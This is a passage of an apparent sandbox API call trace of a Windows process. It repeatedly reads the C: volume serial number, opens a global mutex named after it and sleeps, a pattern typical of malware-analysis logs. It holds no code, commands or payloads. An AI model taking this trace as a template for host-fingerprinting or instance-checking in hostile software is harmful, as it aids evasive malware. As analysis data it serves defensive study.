0x11b1020 [0075.307] GetProcessHeap () returned 0x11a0000 [0075.307] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1020 | out: hHeap=0x11a0000) returned 1 [0075.307] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0075.307] GetProcessHeap () returned 0x11a0000 [0075.307] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0120 | out: hHeap=0x11a0000) returned 1 [0075.308] GetProcessHeap () returned 0x11a0000 [0075.308] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe78 | out: hHeap=0x11a0000) returned 1 [0075.308] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0075.311] GetProcessHeap () returned 0x11a0000 [0075.311] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0288 | out: hHeap=0x11a0000) returned 1 [0075.311] GetProcessHeap () returned 0x11a0000 [0075.311] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2138 [0075.311] GetProcessHeap () returned 0x11a0000 [0075.311] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2180 [0075.311] GetProcessHeap () returned 0x11a0000 [0075.311] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2180, Size=0x72) returned 0x11b1460 [0075.311] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x304 [0075.312] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0075.312] CloseHandle (hObject=0x304) returned 1 [0075.312] GetProcessHeap () returned 0x11a0000 [0075.312] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2138 | out: hHeap=0x11a0000) returned 1 [0075.312] GetProcessHeap () returned 0x11a0000 [0075.312] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0075.312] Sleep (dwMilliseconds=0x3e8) [0077.400] GetProcessHeap () returned 0x11a0000 [0077.400] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfe50 [0077.400] GetProcessHeap () returned 0x11a0000 [0077.400] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfe78 [0077.400] GetProcessHeap () returned 0x11a0000 [0077.400] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0288 [0077.400] GetProcessHeap () returned 0x11a0000 [0077.400] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0077.400] GetProcessHeap () returned 0x11a0000 [0077.400] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0077.401] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bfe78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0077.401] GetProcessHeap () returned 0x11a0000 [0077.401] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0288 | out: hHeap=0x11a0000) returned 1 [0077.401] GetProcessHeap () returned 0x11a0000 [0077.401] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0077.401] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0077.401] GetProcessHeap () returned 0x11a0000 [0077.401] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe78 | out: hHeap=0x11a0000) returned 1 [0077.401] GetProcessHeap () returned 0x11a0000 [0077.401] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2138 [0077.401] GetProcessHeap () returned 0x11a0000 [0077.401] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2768 [0077.401] GetProcessHeap () returned 0x11a0000 [0077.401] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2768, Size=0x72) returned 0x11bf8f8 [0077.402] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x304 [0077.402] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0077.402] CloseHandle (hObject=0x304) returned 1 [0077.402] GetProcessHeap () returned 0x11a0000 [0077.402] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2138 | out: hHeap=0x11a0000) returned 1 [0077.402] GetProcessHeap () returned 0x11a0000 [0077.402] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf8f8 | out: hHeap=0x11a0000) returned 1 [0077.402] Sleep (dwMilliseconds=0x3e8) [0078.877] GetProcessHeap () returned 0x11a0000 [0078.877] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c00a8 [0078.877] GetProcessHeap () returned 0x11a0000 [0078.877] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c00d0 [0078.877] GetProcessHeap () returned 0x11a0000 [0078.877] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c00f8 [0078.877] GetProcessHeap () returned 0x11a0000 [0078.877] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0078.877] GetProcessHeap () returned 0x11a0000 [0078.877] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0078.878] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c00d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.878] GetProcessHeap () returned 0x11a0000 [0078.878] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00f8 | out: hHeap=0x11a0000) returned 1 [0078.878] GetProcessHeap () returned 0x11a0000 [0078.878] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00a8 | out: hHeap=0x11a0000) returned 1 [0078.878] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.878] GetProcessHeap () returned 0x11a0000 [0078.878] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00d0 | out: hHeap=0x11a0000) returned 1 [0078.878] GetProcessHeap () returned 0x11a0000 [0078.878] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2138 [0078.878] GetProcessHeap () returned 0x11a0000 [0078.878] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2330 [0078.878] GetProcessHeap () returned 0x11a0000 [0078.878] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2330, Size=0x72) returned 0x11bf8f8 [0078.878] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x310 [0078.879] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0078.879] CloseHandle (hObject=0x310) returned 1 [0078.879] GetProcessHeap () returned 0x11a0000 [0078.879] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2138 | out: hHeap=0x11a0000) returned 1 [0078.879] GetProcessHeap () returned 0x11a0000 [0078.879] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf8f8 | out: hHeap=0x11a0000) returned 1 [0078.879] Sleep (dwMilliseconds=0x3e8) [0082.483] GetProcessHeap () returned 0x11a0000 [0082.483] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0288 [0082.483] GetProcessHeap () returned 0x11a0000 [0082.483] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0238 [0082.483] GetProcessHeap () returned 0x11a0000 [0082.483] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0080 [0082.483] GetProcessHeap () returned 0x11a0000 [0082.483] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0082.483] GetProcessHeap () returned 0x11a0000 [0082.483] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0082.483] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0238, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0082.483] GetProcessHeap () returned 0x11a0000 [0082.483] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0082.483] GetProcessHeap () returned 0x11a0000 [0082.483] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0288 | out: hHeap=0x11a0000) returned 1 [0082.483] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0082.484] GetProcessHeap () returned 0x11a0000 [0082.484] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0238 | out: hHeap=0x11a0000) returned 1 [0082.484] GetProcessHeap () returned 0x11a0000 [0082.484] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2768 [0082.484] GetProcessHeap () returned 0x11a0000 [0082.484] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b24e0 [0082.484] GetProcessHeap () returned 0x11a0000 [0082.484] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b24e0, Size=0x72) returned 0x11b1460 [0082.484] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x32c [0082.484] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x0) returned 0x102 [0082.484] CloseHandle (hObject=0x32c) returned 1 [0082.484] GetProcessHeap () returned 0x11a0000 [0082.484] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2768 | out: hHeap=0x11a0000) returned 1 [0082.484] GetProcessHeap () returned 0x11a0000 [0082.484] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0082.484] Sleep (dwMilliseconds=0x3e8) [0085.429] GetProcessHeap () returned 0x11a0000 [0085.429] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c00d0 [0085.429] GetProcessHeap () returned 0x11a0000 [0085.429] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bffe0 [0085.429] GetProcessHeap () returned 0x11a0000 [0085.429] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0260 [0085.429] GetProcessHeap () returned 0x11a0000 [0085.429] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0085.429] GetProcessHeap () returned 0x11a0000 [0085.429] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0085.430] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bffe0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.430] GetProcessHeap () returned 0x11a0000 [0085.430] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0260 | out: hHeap=0x11a0000) returned 1 [0085.430] GetProcessHeap () returned 0x11a0000 [0085.430] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00d0 | out: hHeap=0x11a0000) returned 1 [0085.430] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.431] GetProcessHeap () returned 0x11a0000 [0085.431] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bffe0 | out: hHeap=0x11a0000) returned 1 [0085.431] GetProcessHeap () returned 0x11a0000 [0085.432] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2180 [0085.432] GetProcessHeap () returned 0x11a0000 [0085.432] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2768 [0085.432] GetProcessHeap () returned 0x11a0000 [0085.432] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2768, Size=0x72) returned 0x11b1460 [0085.432] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x324 [0085.432] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0085.432] CloseHandle (hObject=0x324) returned 1 [0085.433] GetProcessHeap () returned 0x11a0000 [0085.433] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2180 | out: hHeap=0x11a0000) returned 1 [0085.433] GetProcessHeap () returned 0x11a0000 [0085.433] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0085.433] Sleep (dwMilliseconds=0x3e8) [0086.965] GetProcessHeap () returned 0x11a0000 [0086.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0198 [0086.965] GetProcessHeap () returned 0x11a0000 [0086.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0080 [0086.965] GetProcessHeap () returned 0x11a0000 [0086.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0008 [0086.965] GetProcessHeap () returned 0x11a0000 [0086.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ca838 [0086.965] GetProcessHeap () returned 0x11a0000 [0086.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ca838 | out: hHeap=0x11a0000) returned 1 [0086.965] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0080, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0086.965] GetProcessHeap () returned 0x11a0000 [0086.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0008 | out: hHeap=0x11a0000) returned 1 [0086.965] GetProcessHeap () returned 0x11a0000 [0086.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0086.965] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0086.966] GetProcessHeap () returned 0x11a0000 [0086.966] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0086.966] GetProcessHeap () returned 0x11a0000 [0086.966] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b24e0 [0086.966] GetProcessHeap () returned 0x11a0000 [0086.966] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2138 [0086.966] GetProcessHeap () returned 0x11a0000 [0086.966] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2138, Size=0x72) returned 0x11b1460 [0086.966] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x294 [0086.966] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x0) returned 0x102 [0086.966] CloseHandle (hObject=0x294) returned 1 [0086.966] GetProcessHeap () returned 0x11a0000 [0086.966] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b24e0 | out: hHeap=0x11a0000) returned 1 [0086.966] GetProcessHeap () returned 0x11a0000 [0086.966] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0086.966] Sleep (dwMilliseconds=0x3e8) [0088.290] GetProcessHeap () returned 0x11a0000 [0088.290] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0238 [0088.290] GetProcessHeap () returned 0x11a0000 [0088.290] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bffe0 [0088.290] GetProcessHeap () returned 0x11a0000 [0088.290] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bff40 [0088.290] GetProcessHeap () returned 0x11a0000 [0088.290] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0088.290] GetProcessHeap () returned 0x11a0000 [0088.290] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0088.290] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bffe0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0088.290] GetProcessHeap () returned 0x11a0000 [0088.290] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff40 | out: hHeap=0x11a0000) returned 1 [0088.290] GetProcessHeap () returned 0x11a0000 [0088.290] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0238 | out: hHeap=0x11a0000) returned 1 [0088.290] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0088.291] GetProcessHeap () returned 0x11a0000 [0088.291] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bffe0 | out: hHeap=0x11a0000) returned 1 [0088.291] GetProcessHeap () returned 0x11a0000 [0088.291] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2330 [0088.291] GetProcessHeap () returned 0x11a0000 [0088.291] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b23c0 [0088.291] GetProcessHeap () returned 0x11a0000 [0088.291] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b23c0, Size=0x72) returned 0x11b1460 [0088.291] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x338 [0088.291] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0x0) returned 0x102 [0088.291] CloseHandle (hObject=0x338) returned 1 [0088.291] GetProcessHeap () returned 0x11a0000 [0088.291] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2330 | out: hHeap=0x11a0000) returned 1 [0088.291] GetProcessHeap () returned 0x11a0000 [0088.291] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0088.291] Sleep (dwMilliseconds=0x3e8) [0089.841] GetProcessHeap () returned 0x11a0000 [0089.841] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bffb8 [0089.841] GetProcessHeap () returned 0x11a0000 [0089.841] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfe50 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c00d0 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ca838 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ca838 | out: hHeap=0x11a0000) returned 1 [0089.842] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bfe50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00d0 | out: hHeap=0x11a0000) returned 1 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bffb8 | out: hHeap=0x11a0000) returned 1 [0089.842] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2768 [0089.842] GetProcessHeap () returned 0x11a0000 [0089.842] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2138 [0089.843] GetProcessHeap () returned 0x11a0000 [0089.843] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2138, Size=0x72) returned 0x11b1460 [0089.843] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x33c [0089.843] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0x0) returned 0x102 [0089.843] CloseHandle (hObject=0x33c) returned 1 [0089.843] GetProcessHeap () returned 0x11a0000 [0089.843] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2768 | out: hHeap=0x11a0000) returned 1 [0089.843] GetProcessHeap () returned 0x11a0000 [0089.843] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0089.843] Sleep (dwMilliseconds=0x3e8) [0091.106] GetProcessHeap () returned 0x11a0000 [0091.106] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfdd8 [0091.106] GetProcessHeap () returned 0x11a0000 [0091.106] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0198 [0091.106] GetProcessHeap () returned 0x11a0000 [0091.106] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c00d0 [0091.106] GetProcessHeap () returned 0x11a0000 [0091.106] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0091.106] GetProcessHeap () returned 0x11a0000 [0091.106] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0091.106] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0198, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0091.107] GetProcessHeap () returned 0x11a0000 [0091.107] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00d0 | out: hHeap=0x11a0000) returned 1 [0091.107] GetProcessHeap () returned 0x11a0000 [0091.107] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfdd8 | out: hHeap=0x11a0000) returned 1 [0091.107] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0091.107] GetProcessHeap () returned 0x11a0000 [0091.107] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0091.107] GetProcessHeap () returned 0x11a0000 [0091.107] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2768 [0091.107] GetProcessHeap () returned 0x11a0000 [0091.107] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2330 [0091.107] GetProcessHeap () returned 0x11a0000 [0091.107] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2330, Size=0x72) returned 0x11b1460 [0091.107] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x334 [0091.107] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0x0) returned 0x102 [0091.108] CloseHandle (hObject=0x334) returned 1 [0091.108] GetProcessHeap () returned 0x11a0000 [0091.108] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2768 | out: hHeap=0x11a0000) returned 1 [0091.108] GetProcessHeap () returned 0x11a0000 [0091.108] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0091.108] Sleep (dwMilliseconds=0x3e8) [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfe50 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfe78 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0030 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ca838 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ca838 | out: hHeap=0x11a0000) returned 1 [0092.860] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bfe78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0030 | out: hHeap=0x11a0000) returned 1 [0092.860] 